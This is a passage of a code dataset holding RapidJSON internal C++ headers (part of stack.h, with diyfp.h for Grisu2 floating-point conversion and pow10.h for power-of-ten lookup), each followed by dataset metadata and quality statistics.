rhs.allocator_ = 0;
rhs.ownAllocator_ = 0;
rhs.stack_ = 0;
rhs.stackTop_ = 0;
rhs.stackEnd_ = 0;
rhs.initialCapacity_ = 0;
}
#endif
~Stack() {
Destroy();
}
#if RAPIDJSON_HAS_CXX11_RVALUE_REFS
Stack& operator=(Stack&& rhs) {
if (&rhs != this)
{
Destroy();
allocator_ = rhs.allocator_;
ownAllocator_ = rhs.ownAllocator_;
stack_ = rhs.stack_;
stackTop_ = rhs.stackTop_;
stackEnd_ = rhs.stackEnd_;
initialCapacity_ = rhs.initialCapacity_;
rhs.allocator_ = 0;
rhs.ownAllocator_ = 0;
rhs.stack_ = 0;
rhs.stackTop_ = 0;
rhs.stackEnd_ = 0;
rhs.initialCapacity_ = 0;
}
return *this;
}
#endif
void Swap(Stack& rhs) RAPIDJSON_NOEXCEPT {
internal::Swap(allocator_, rhs.allocator_);
internal::Swap(ownAllocator_, rhs.ownAllocator_);
internal::Swap(stack_, rhs.stack_);
internal::Swap(stackTop_, rhs.stackTop_);
internal::Swap(stackEnd_, rhs.stackEnd_);
internal::Swap(initialCapacity_, rhs.initialCapacity_);
}
void Clear() { stackTop_ = stack_; }
void ShrinkToFit() {
if (Empty()) {
// If the stack is empty, completely deallocate the memory.
Allocator::Free(stack_); // NOLINT (+clang-analyzer-unix.Malloc)
stack_ = 0;
stackTop_ = 0;
stackEnd_ = 0;
}
else
Resize(GetSize());
}
// Optimization note: try to minimize the size of this function for force inline.
// Expansion is run very infrequently, so it is moved to another (probably non-inline) function.
template<typename T>
RAPIDJSON_FORCEINLINE void Reserve(size_t count = 1) {
// Expand the stack if needed
if (RAPIDJSON_UNLIKELY(static_cast<std::ptrdiff_t>(sizeof(T) * count) > (stackEnd_ - stackTop_)))
Expand<T>(count);
}
template<typename T>
RAPIDJSON_FORCEINLINE T* Push(size_t count = 1) {
Reserve<T>(count);
return PushUnsafe<T>(count);
}
template<typename T>
RAPIDJSON_FORCEINLINE T* PushUnsafe(size_t count = 1) {
RAPIDJSON_ASSERT(stackTop_);
RAPIDJSON_ASSERT(static_cast<std::ptrdiff_t>(sizeof(T) * count) <= (stackEnd_ - stackTop_));
T* ret = reinterpret_cast<T*>(stackTop_);
stackTop_ += sizeof(T) * count;
return ret;
}
template<typename T>
T* Pop(size_t count) {
RAPIDJSON_ASSERT(GetSize() >= count * sizeof(T));
stackTop_ -= count * sizeof(T);
return reinterpret_cast<T*>(stackTop_);
}
template<typename T>
T* Top() {
RAPIDJSON_ASSERT(GetSize() >= sizeof(T));
return reinterpret_cast<T*>(stackTop_ - sizeof(T));
}
template<typename T>
const T* Top() const {
RAPIDJSON_ASSERT(GetSize() >= sizeof(T));
return reinterpret_cast<T*>(stackTop_ - sizeof(T));
}
template<typename T>
T* End() { return reinterpret_cast<T*>(stackTop_); }
template<typename T>
const T* End() const { return reinterpret_cast<T*>(stackTop_); }
template<typename T>
T* Bottom() { return reinterpret_cast<T*>(stack_); }
template<typename T>
const T* Bottom() const { return reinterpret_cast<T*>(stack_); }
bool HasAllocator() const {
return allocator_ != 0;
}
Allocator& GetAllocator() {
RAPIDJSON_ASSERT(allocator_);
return *allocator_;
}
bool Empty() const { return stackTop_ == stack_; }
size_t GetSize() const { return static_cast<size_t>(stackTop_ - stack_); }
size_t GetCapacity() const { return static_cast<size_t>(stackEnd_ - stack_); }
private:
template<typename T>
void Expand(size_t count) {
// Only expand the capacity if the current stack exists. Otherwise just create a stack with initial capacity.
size_t newCapacity;
if (stack_ == 0) {
if (!allocator_)
ownAllocator_ = allocator_ = RAPIDJSON_NEW(Allocator)();
newCapacity = initialCapacity_;
} else {
newCapacity = GetCapacity();
newCapacity += (newCapacity + 1) / 2;
}
size_t newSize = GetSize() + sizeof(T) * count;
if (newCapacity < newSize)
newCapacity = newSize;
Resize(newCapacity);
}
void Resize(size_t newCapacity) {
const size_t size = GetSize(); // Backup the current size
stack_ = static_cast<char*>(allocator_->Realloc(stack_, GetCapacity(), newCapacity));
stackTop_ = stack_ + size;
stackEnd_ = stack_ + newCapacity;
}
void Destroy() {
Allocator::Free(stack_);
RAPIDJSON_DELETE(ownAllocator_); // Only delete if it is owned by the stack
}
// Prohibit copy constructor & assignment operator.
Stack(const Stack&);
Stack& operator=(const Stack&);
Allocator* allocator_;
Allocator* ownAllocator_;
char *stack_;
char *stackTop_;
char *stackEnd_;
size_t initialCapacity_;
};
} // namespace internal
RAPIDJSON_NAMESPACE_END
#if defined(__clang__)
RAPIDJSON_DIAG_POP
#endif
#endif // RAPIDJSON_STACK_H_
| 7,184
|
stack
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 784, "qsc_code_num_chars": 7184.0, "qsc_code_mean_word_length": 5.5127551, "qsc_code_frac_words_unique": 0.26785714, "qsc_code_frac_chars_top_2grams": 0.01735308, "qsc_code_frac_chars_top_3grams": 0.04326701, "qsc_code_frac_chars_top_4grams": 0.03563165, "qsc_code_frac_chars_dupe_5grams": 0.29754743, "qsc_code_frac_chars_dupe_6grams": 0.2535863, "qsc_code_frac_chars_dupe_7grams": 0.23044887, "qsc_code_frac_chars_dupe_8grams": 0.21309579, "qsc_code_frac_chars_dupe_9grams": 0.18186025, "qsc_code_frac_chars_dupe_10grams": 0.15964831, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00710413, "qsc_code_frac_chars_whitespace": 0.25542873, "qsc_code_size_file_byte": 7184.0, "qsc_code_num_lines": 232.0, "qsc_code_num_chars_line_max": 170.0, "qsc_code_num_chars_line_mean": 30.96551724, "qsc_code_frac_chars_alphabet": 0.80089736, "qsc_code_frac_chars_comments": 0.22870267, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22891566, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00378993, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.03614458, "qsc_codec_frac_lines_func_ratio": 0.1626506, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.19277108, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/lottie/rapidjson/internal/diyfp.h
|
// Tencent is pleased to support the open source community by making RapidJSON available.
//
// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. All rights reserved.
//
// Licensed under the MIT License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://opensource.org/licenses/MIT
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
// This is a C++ header-only implementation of Grisu2 algorithm from the publication:
// Loitsch, Florian. "Printing floating-point numbers quickly and accurately with
// integers." ACM Sigplan Notices 45.6 (2010): 233-243.
#ifndef RAPIDJSON_DIYFP_H_
#define RAPIDJSON_DIYFP_H_
#include "../rapidjson.h"
#include "clzll.h"
#include <limits>
#if defined(_MSC_VER) && defined(_M_AMD64) && !defined(__INTEL_COMPILER)
#include <intrin.h>
#pragma intrinsic(_umul128)
#endif
RAPIDJSON_NAMESPACE_BEGIN
namespace internal {
#ifdef __GNUC__
RAPIDJSON_DIAG_PUSH
RAPIDJSON_DIAG_OFF(effc++)
#endif
#ifdef __clang__
RAPIDJSON_DIAG_PUSH
RAPIDJSON_DIAG_OFF(padded)
#endif
struct DiyFp {
DiyFp() : f(), e() {}
DiyFp(uint64_t fp, int exp) : f(fp), e(exp) {}
explicit DiyFp(double d) {
union {
double d;
uint64_t u64;
} u = { d };
int biased_e = static_cast<int>((u.u64 & kDpExponentMask) >> kDpSignificandSize);
uint64_t significand = (u.u64 & kDpSignificandMask);
if (biased_e != 0) {
f = significand + kDpHiddenBit;
e = biased_e - kDpExponentBias;
}
else {
f = significand;
e = kDpMinExponent + 1;
}
}
DiyFp operator-(const DiyFp& rhs) const {
return DiyFp(f - rhs.f, e);
}
DiyFp operator*(const DiyFp& rhs) const {
#if defined(_MSC_VER) && defined(_M_AMD64)
uint64_t h;
uint64_t l = _umul128(f, rhs.f, &h);
if (l & (uint64_t(1) << 63)) // rounding
h++;
return DiyFp(h, e + rhs.e + 64);
#elif (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) && defined(__x86_64__)
__extension__ typedef unsigned __int128 uint128;
uint128 p = static_cast<uint128>(f) * static_cast<uint128>(rhs.f);
uint64_t h = static_cast<uint64_t>(p >> 64);
uint64_t l = static_cast<uint64_t>(p);
if (l & (uint64_t(1) << 63)) // rounding
h++;
return DiyFp(h, e + rhs.e + 64);
#else
const uint64_t M32 = 0xFFFFFFFF;
const uint64_t a = f >> 32;
const uint64_t b = f & M32;
const uint64_t c = rhs.f >> 32;
const uint64_t d = rhs.f & M32;
const uint64_t ac = a * c;
const uint64_t bc = b * c;
const uint64_t ad = a * d;
const uint64_t bd = b * d;
uint64_t tmp = (bd >> 32) + (ad & M32) + (bc & M32);
tmp += 1U << 31; /// mult_round
return DiyFp(ac + (ad >> 32) + (bc >> 32) + (tmp >> 32), e + rhs.e + 64);
#endif
}
DiyFp Normalize() const {
int s = static_cast<int>(clzll(f));
return DiyFp(f << s, e - s);
}
DiyFp NormalizeBoundary() const {
DiyFp res = *this;
while (!(res.f & (kDpHiddenBit << 1))) {
res.f <<= 1;
res.e--;
}
res.f <<= (kDiySignificandSize - kDpSignificandSize - 2);
res.e = res.e - (kDiySignificandSize - kDpSignificandSize - 2);
return res;
}
void NormalizedBoundaries(DiyFp* minus, DiyFp* plus) const {
DiyFp pl = DiyFp((f << 1) + 1, e - 1).NormalizeBoundary();
DiyFp mi = (f == kDpHiddenBit) ? DiyFp((f << 2) - 1, e - 2) : DiyFp((f << 1) - 1, e - 1);
mi.f <<= mi.e - pl.e;
mi.e = pl.e;
*plus = pl;
*minus = mi;
}
double ToDouble() const {
union {
double d;
uint64_t u64;
}u;
RAPIDJSON_ASSERT(f <= kDpHiddenBit + kDpSignificandMask);
if (e < kDpDenormalExponent) {
// Underflow.
return 0.0;
}
if (e >= kDpMaxExponent) {
// Overflow.
return std::numeric_limits<double>::infinity();
}
const uint64_t be = (e == kDpDenormalExponent && (f & kDpHiddenBit) == 0) ? 0 :
static_cast<uint64_t>(e + kDpExponentBias);
u.u64 = (f & kDpSignificandMask) | (be << kDpSignificandSize);
return u.d;
}
static const int kDiySignificandSize = 64;
static const int kDpSignificandSize = 52;
static const int kDpExponentBias = 0x3FF + kDpSignificandSize;
static const int kDpMaxExponent = 0x7FF - kDpExponentBias;
static const int kDpMinExponent = -kDpExponentBias;
static const int kDpDenormalExponent = -kDpExponentBias + 1;
static const uint64_t kDpExponentMask = RAPIDJSON_UINT64_C2(0x7FF00000, 0x00000000);
static const uint64_t kDpSignificandMask = RAPIDJSON_UINT64_C2(0x000FFFFF, 0xFFFFFFFF);
static const uint64_t kDpHiddenBit = RAPIDJSON_UINT64_C2(0x00100000, 0x00000000);
uint64_t f;
int e;
};
inline DiyFp GetCachedPowerByIndex(size_t index) {
// 10^-348, 10^-340, ..., 10^340
static const uint64_t kCachedPowers_F[] = {
RAPIDJSON_UINT64_C2(0xfa8fd5a0, 0x081c0288), RAPIDJSON_UINT64_C2(0xbaaee17f, 0xa23ebf76),
RAPIDJSON_UINT64_C2(0x8b16fb20, 0x3055ac76), RAPIDJSON_UINT64_C2(0xcf42894a, 0x5dce35ea),
RAPIDJSON_UINT64_C2(0x9a6bb0aa, 0x55653b2d), RAPIDJSON_UINT64_C2(0xe61acf03, 0x3d1a45df),
RAPIDJSON_UINT64_C2(0xab70fe17, 0xc79ac6ca), RAPIDJSON_UINT64_C2(0xff77b1fc, 0xbebcdc4f),
RAPIDJSON_UINT64_C2(0xbe5691ef, 0x416bd60c), RAPIDJSON_UINT64_C2(0x8dd01fad, 0x907ffc3c),
RAPIDJSON_UINT64_C2(0xd3515c28, 0x31559a83), RAPIDJSON_UINT64_C2(0x9d71ac8f, 0xada6c9b5),
RAPIDJSON_UINT64_C2(0xea9c2277, 0x23ee8bcb), RAPIDJSON_UINT64_C2(0xaecc4991, 0x4078536d),
RAPIDJSON_UINT64_C2(0x823c1279, 0x5db6ce57), RAPIDJSON_UINT64_C2(0xc2109436, 0x4dfb5637),
RAPIDJSON_UINT64_C2(0x9096ea6f, 0x3848984f), RAPIDJSON_UINT64_C2(0xd77485cb, 0x25823ac7),
RAPIDJSON_UINT64_C2(0xa086cfcd, 0x97bf97f4), RAPIDJSON_UINT64_C2(0xef340a98, 0x172aace5),
RAPIDJSON_UINT64_C2(0xb23867fb, 0x2a35b28e), RAPIDJSON_UINT64_C2(0x84c8d4df, 0xd2c63f3b),
RAPIDJSON_UINT64_C2(0xc5dd4427, 0x1ad3cdba), RAPIDJSON_UINT64_C2(0x936b9fce, 0xbb25c996),
RAPIDJSON_UINT64_C2(0xdbac6c24, 0x7d62a584), RAPIDJSON_UINT64_C2(0xa3ab6658, 0x0d5fdaf6),
RAPIDJSON_UINT64_C2(0xf3e2f893, 0xdec3f126), RAPIDJSON_UINT64_C2(0xb5b5ada8, 0xaaff80b8),
RAPIDJSON_UINT64_C2(0x87625f05, 0x6c7c4a8b), RAPIDJSON_UINT64_C2(0xc9bcff60, 0x34c13053),
RAPIDJSON_UINT64_C2(0x964e858c, 0x91ba2655), RAPIDJSON_UINT64_C2(0xdff97724, 0x70297ebd),
RAPIDJSON_UINT64_C2(0xa6dfbd9f, 0xb8e5b88f), RAPIDJSON_UINT64_C2(0xf8a95fcf, 0x88747d94),
RAPIDJSON_UINT64_C2(0xb9447093, 0x8fa89bcf), RAPIDJSON_UINT64_C2(0x8a08f0f8, 0xbf0f156b),
RAPIDJSON_UINT64_C2(0xcdb02555, 0x653131b6), RAPIDJSON_UINT64_C2(0x993fe2c6, 0xd07b7fac),
RAPIDJSON_UINT64_C2(0xe45c10c4, 0x2a2b3b06), RAPIDJSON_UINT64_C2(0xaa242499, 0x697392d3),
RAPIDJSON_UINT64_C2(0xfd87b5f2, 0x8300ca0e), RAPIDJSON_UINT64_C2(0xbce50864, 0x92111aeb),
RAPIDJSON_UINT64_C2(0x8cbccc09, 0x6f5088cc), RAPIDJSON_UINT64_C2(0xd1b71758, 0xe219652c),
RAPIDJSON_UINT64_C2(0x9c400000, 0x00000000), RAPIDJSON_UINT64_C2(0xe8d4a510, 0x00000000),
RAPIDJSON_UINT64_C2(0xad78ebc5, 0xac620000), RAPIDJSON_UINT64_C2(0x813f3978, 0xf8940984),
RAPIDJSON_UINT64_C2(0xc097ce7b, 0xc90715b3), RAPIDJSON_UINT64_C2(0x8f7e32ce, 0x7bea5c70),
RAPIDJSON_UINT64_C2(0xd5d238a4, 0xabe98068), RAPIDJSON_UINT64_C2(0x9f4f2726, 0x179a2245),
RAPIDJSON_UINT64_C2(0xed63a231, 0xd4c4fb27), RAPIDJSON_UINT64_C2(0xb0de6538, 0x8cc8ada8),
RAPIDJSON_UINT64_C2(0x83c7088e, 0x1aab65db), RAPIDJSON_UINT64_C2(0xc45d1df9, 0x42711d9a),
RAPIDJSON_UINT64_C2(0x924d692c, 0xa61be758), RAPIDJSON_UINT64_C2(0xda01ee64, 0x1a708dea),
RAPIDJSON_UINT64_C2(0xa26da399, 0x9aef774a), RAPIDJSON_UINT64_C2(0xf209787b, 0xb47d6b85),
RAPIDJSON_UINT64_C2(0xb454e4a1, 0x79dd1877), RAPIDJSON_UINT64_C2(0x865b8692, 0x5b9bc5c2),
RAPIDJSON_UINT64_C2(0xc83553c5, 0xc8965d3d), RAPIDJSON_UINT64_C2(0x952ab45c, 0xfa97a0b3),
RAPIDJSON_UINT64_C2(0xde469fbd, 0x99a05fe3), RAPIDJSON_UINT64_C2(0xa59bc234, 0xdb398c25),
RAPIDJSON_UINT64_C2(0xf6c69a72, 0xa3989f5c), RAPIDJSON_UINT64_C2(0xb7dcbf53, 0x54e9bece),
RAPIDJSON_UINT64_C2(0x88fcf317, 0xf22241e2), RAPIDJSON_UINT64_C2(0xcc20ce9b, 0xd35c78a5),
RAPIDJSON_UINT64_C2(0x98165af3, 0x7b2153df), RAPIDJSON_UINT64_C2(0xe2a0b5dc, 0x971f303a),
RAPIDJSON_UINT64_C2(0xa8d9d153, 0x5ce3b396), RAPIDJSON_UINT64_C2(0xfb9b7cd9, 0xa4a7443c),
RAPIDJSON_UINT64_C2(0xbb764c4c, 0xa7a44410), RAPIDJSON_UINT64_C2(0x8bab8eef, 0xb6409c1a),
RAPIDJSON_UINT64_C2(0xd01fef10, 0xa657842c), RAPIDJSON_UINT64_C2(0x9b10a4e5, 0xe9913129),
RAPIDJSON_UINT64_C2(0xe7109bfb, 0xa19c0c9d), RAPIDJSON_UINT64_C2(0xac2820d9, 0x623bf429),
RAPIDJSON_UINT64_C2(0x80444b5e, 0x7aa7cf85), RAPIDJSON_UINT64_C2(0xbf21e440, 0x03acdd2d),
RAPIDJSON_UINT64_C2(0x8e679c2f, 0x5e44ff8f), RAPIDJSON_UINT64_C2(0xd433179d, 0x9c8cb841),
RAPIDJSON_UINT64_C2(0x9e19db92, 0xb4e31ba9), RAPIDJSON_UINT64_C2(0xeb96bf6e, 0xbadf77d9),
RAPIDJSON_UINT64_C2(0xaf87023b, 0x9bf0ee6b)
};
static const int16_t kCachedPowers_E[] = {
-1220, -1193, -1166, -1140, -1113, -1087, -1060, -1034, -1007, -980,
-954, -927, -901, -874, -847, -821, -794, -768, -741, -715,
-688, -661, -635, -608, -582, -555, -529, -502, -475, -449,
-422, -396, -369, -343, -316, -289, -263, -236, -210, -183,
-157, -130, -103, -77, -50, -24, 3, 30, 56, 83,
109, 136, 162, 189, 216, 242, 269, 295, 322, 348,
375, 402, 428, 455, 481, 508, 534, 561, 588, 614,
641, 667, 694, 720, 747, 774, 800, 827, 853, 880,
907, 933, 960, 986, 1013, 1039, 1066
};
RAPIDJSON_ASSERT(index < 87);
return DiyFp(kCachedPowers_F[index], kCachedPowers_E[index]);
}
inline DiyFp GetCachedPower(int e, int* K) {
//int k = static_cast<int>(ceil((-61 - e) * 0.30102999566398114)) + 374;
double dk = (-61 - e) * 0.30102999566398114 + 347; // dk must be positive, so can do ceiling in positive
int k = static_cast<int>(dk);
if (dk - k > 0.0)
k++;
unsigned index = static_cast<unsigned>((k >> 3) + 1);
*K = -(-348 + static_cast<int>(index << 3)); // decimal exponent no need lookup table
return GetCachedPowerByIndex(index);
}
inline DiyFp GetCachedPower10(int exp, int *outExp) {
RAPIDJSON_ASSERT(exp >= -348);
unsigned index = static_cast<unsigned>(exp + 348) / 8u;
*outExp = -348 + static_cast<int>(index) * 8;
return GetCachedPowerByIndex(index);
}
#ifdef __GNUC__
RAPIDJSON_DIAG_POP
#endif
#ifdef __clang__
RAPIDJSON_DIAG_POP
RAPIDJSON_DIAG_OFF(padded)
#endif
} // namespace internal
RAPIDJSON_NAMESPACE_END
#endif // RAPIDJSON_DIYFP_H_
| 11,509
|
diyfp
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 1352, "qsc_code_num_chars": 11509.0, "qsc_code_mean_word_length": 5.47189349, "qsc_code_frac_words_unique": 0.38091716, "qsc_code_frac_chars_top_2grams": 0.18248175, "qsc_code_frac_chars_top_3grams": 0.20681265, "qsc_code_frac_chars_top_4grams": 0.00973236, "qsc_code_frac_chars_dupe_5grams": 0.08772641, "qsc_code_frac_chars_dupe_6grams": 0.04487699, "qsc_code_frac_chars_dupe_7grams": 0.02487159, "qsc_code_frac_chars_dupe_8grams": 0.01108408, "qsc_code_frac_chars_dupe_9grams": 0.01108408, "qsc_code_frac_chars_dupe_10grams": 0.01108408, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.20553887, "qsc_code_frac_chars_whitespace": 0.2187853, "qsc_code_size_file_byte": 11509.0, "qsc_code_num_lines": 257.0, "qsc_code_num_chars_line_max": 110.0, "qsc_code_num_chars_line_mean": 44.78210117, "qsc_code_frac_chars_alphabet": 0.61728395, "qsc_code_frac_chars_comments": 0.10817621, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.15763547, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00204599, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.17731878, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01477833, "qsc_codec_frac_lines_func_ratio": 0.10837438, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.14778325, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 1, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 1, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/lottie/rapidjson/internal/pow10.h
|
// Tencent is pleased to support the open source community by making RapidJSON available.
//
// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. All rights reserved.
//
// Licensed under the MIT License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://opensource.org/licenses/MIT
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#ifndef RAPIDJSON_POW10_
#define RAPIDJSON_POW10_
#include "../rapidjson.h"
RAPIDJSON_NAMESPACE_BEGIN
namespace internal {
//! Computes integer powers of 10 in double (10.0^n).
/*! This function uses lookup table for fast and accurate results.
\param n non-negative exponent. Must <= 308.
\return 10.0^n
*/
inline double Pow10(int n) {
static const double e[] = { // 1e-0...1e308: 309 * 8 bytes = 2472 bytes
1e+0,
1e+1, 1e+2, 1e+3, 1e+4, 1e+5, 1e+6, 1e+7, 1e+8, 1e+9, 1e+10, 1e+11, 1e+12, 1e+13, 1e+14, 1e+15, 1e+16, 1e+17, 1e+18, 1e+19, 1e+20,
1e+21, 1e+22, 1e+23, 1e+24, 1e+25, 1e+26, 1e+27, 1e+28, 1e+29, 1e+30, 1e+31, 1e+32, 1e+33, 1e+34, 1e+35, 1e+36, 1e+37, 1e+38, 1e+39, 1e+40,
1e+41, 1e+42, 1e+43, 1e+44, 1e+45, 1e+46, 1e+47, 1e+48, 1e+49, 1e+50, 1e+51, 1e+52, 1e+53, 1e+54, 1e+55, 1e+56, 1e+57, 1e+58, 1e+59, 1e+60,
1e+61, 1e+62, 1e+63, 1e+64, 1e+65, 1e+66, 1e+67, 1e+68, 1e+69, 1e+70, 1e+71, 1e+72, 1e+73, 1e+74, 1e+75, 1e+76, 1e+77, 1e+78, 1e+79, 1e+80,
1e+81, 1e+82, 1e+83, 1e+84, 1e+85, 1e+86, 1e+87, 1e+88, 1e+89, 1e+90, 1e+91, 1e+92, 1e+93, 1e+94, 1e+95, 1e+96, 1e+97, 1e+98, 1e+99, 1e+100,
1e+101,1e+102,1e+103,1e+104,1e+105,1e+106,1e+107,1e+108,1e+109,1e+110,1e+111,1e+112,1e+113,1e+114,1e+115,1e+116,1e+117,1e+118,1e+119,1e+120,
1e+121,1e+122,1e+123,1e+124,1e+125,1e+126,1e+127,1e+128,1e+129,1e+130,1e+131,1e+132,1e+133,1e+134,1e+135,1e+136,1e+137,1e+138,1e+139,1e+140,
1e+141,1e+142,1e+143,1e+144,1e+145,1e+146,1e+147,1e+148,1e+149,1e+150,1e+151,1e+152,1e+153,1e+154,1e+155,1e+156,1e+157,1e+158,1e+159,1e+160,
1e+161,1e+162,1e+163,1e+164,1e+165,1e+166,1e+167,1e+168,1e+169,1e+170,1e+171,1e+172,1e+173,1e+174,1e+175,1e+176,1e+177,1e+178,1e+179,1e+180,
1e+181,1e+182,1e+183,1e+184,1e+185,1e+186,1e+187,1e+188,1e+189,1e+190,1e+191,1e+192,1e+193,1e+194,1e+195,1e+196,1e+197,1e+198,1e+199,1e+200,
1e+201,1e+202,1e+203,1e+204,1e+205,1e+206,1e+207,1e+208,1e+209,1e+210,1e+211,1e+212,1e+213,1e+214,1e+215,1e+216,1e+217,1e+218,1e+219,1e+220,
1e+221,1e+222,1e+223,1e+224,1e+225,1e+226,1e+227,1e+228,1e+229,1e+230,1e+231,1e+232,1e+233,1e+234,1e+235,1e+236,1e+237,1e+238,1e+239,1e+240,
1e+241,1e+242,1e+243,1e+244,1e+245,1e+246,1e+247,1e+248,1e+249,1e+250,1e+251,1e+252,1e+253,1e+254,1e+255,1e+256,1e+257,1e+258,1e+259,1e+260,
1e+261,1e+262,1e+263,1e+264,1e+265,1e+266,1e+267,1e+268,1e+269,1e+270,1e+271,1e+272,1e+273,1e+274,1e+275,1e+276,1e+277,1e+278,1e+279,1e+280,
1e+281,1e+282,1e+283,1e+284,1e+285,1e+286,1e+287,1e+288,1e+289,1e+290,1e+291,1e+292,1e+293,1e+294,1e+295,1e+296,1e+297,1e+298,1e+299,1e+300,
1e+301,1e+302,1e+303,1e+304,1e+305,1e+306,1e+307,1e+308
};
RAPIDJSON_ASSERT(n >= 0 && n <= 308);
return e[n];
}
} // namespace internal
RAPIDJSON_NAMESPACE_END
#endif // RAPIDJSON_POW10_
| 3,595
|
pow10
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 805, "qsc_code_num_chars": 3595.0, "qsc_code_mean_word_length": 2.92546584, "qsc_code_frac_words_unique": 0.52795031, "qsc_code_frac_chars_top_2grams": 0.02547771, "qsc_code_frac_chars_top_3grams": 0.01104034, "qsc_code_frac_chars_top_4grams": 0.01358811, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.37648953, "qsc_code_frac_chars_whitespace": 0.13630042, "qsc_code_size_file_byte": 3595.0, "qsc_code_num_lines": 55.0, "qsc_code_num_chars_line_max": 149.0, 